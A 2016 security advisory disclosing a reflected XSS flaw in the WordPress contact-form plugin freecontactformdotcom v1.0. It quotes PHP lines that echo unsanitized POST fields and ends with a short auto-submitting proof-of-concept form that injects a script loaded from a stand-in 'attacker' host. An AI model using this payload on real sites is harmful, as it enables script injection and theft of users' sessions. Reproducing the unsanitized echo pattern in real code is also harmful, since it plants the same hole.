Advisory #: 1062
Title: Reflected XSS in wordpress plugin freecontactformdotcom v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/freecontactformdotcom
Downloads: 2055
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: freecontactformdotcom
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./freecontactformdotcom/freecontactformdotcom.php: 260: <input type="text" name="Full_Name" id="Full_Name" maxlength="80" value="<?php if(isset($_POST['Full_Name'])){ echo $_POST['Full_Name']; }?>" style="width:260px"> 268: <input type="text" name="Email_Address" id="Email_Address" maxlength="100" value="<?php if(isset($_POST['Email_Address'])){ echo $_POST['Email_Address']; }?>" style="width:260px"> 276: <input type="text" name="Website" id="Website" maxlength="100" value="<?php if(isset($_POST['Website'])){ echo $_POST['Website']; }?>" style="width:260px"> 284: <input type="text" name="Subject" id="Subject" maxlength="100" value="<?php if(isset($_POST['Subject'])){ echo $_POST['Subject']; }?>" style="width:260px"> 292: <textarea style="width:260px;height:160px" name="Your_Message" id="Your_Message" maxlength="2000"><?php if(isset($_POST['Your_Message'])){ echo $_POST['Your_Message']; }?></textarea> 303: <input type="text" name="AntiSpam" id="AntiSpam" maxlength="100" value="<?php if(isset($_POST['AntiSpam'])){ echo $_POST['AntiSpam']; }?>" style="width:60px"> The variable Full_Name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./freecontactformdotcom/freecontactformdotcom.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/freecontactformdotcom/freecontactformdotcom.php method=post> <input type=hidden name=Full_Name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>